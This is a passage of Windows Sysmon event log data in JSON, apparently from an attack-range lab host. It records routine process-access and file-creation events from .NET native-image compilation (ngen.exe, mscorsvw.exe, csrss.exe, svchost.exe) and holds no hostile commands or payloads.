\r\nUtcTime: 2020-08-07 12:03:06.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00107DE80E00}\r\nTargetProcessId: 4152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00107DE80E00}","TargetProcessId":"4152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00107DE80E00}\r\nTargetProcessId: 4152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00107DE80E00}","TargetProcessId":"4152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.277\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00107DE80E00}\r\nTargetProcessId: 4152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.277","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00107DE80E00}","TargetProcessId":"4152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:06.635\r\nProcessGuid: {90617006-42FA-5F2D-0000-00107DE80E00}\r\nProcessId: 4152\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1038-0\\System.Net.dll\r\nCreationUtcTime: 2020-08-07 12:03:06.635","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:06.635","ProcessGuid":"{90617006-42FA-5F2D-0000-00107DE80E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1038-0\\System.Net.dll","CreationUtcTime":"2020-08-07 12:03:06.635","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.776\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-0010FBD70D00}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.776","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-0010FBD70D00}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.776\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-0010FBD70D00}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.776","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-0010FBD70D00}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-0010E2EB0E00}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-0010E2EB0E00}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.995\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00101DEF0E00}\r\nTargetProcessId: 4900\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.995","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00101DEF0E00}","TargetProcessId":"4900","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.995\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00101DEF0E00}\r\nTargetProcessId: 4900\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.995","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00101DEF0E00}","TargetProcessId":"4900","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.026\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00101DEF0E00}\r\nTargetProcessId: 4900\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 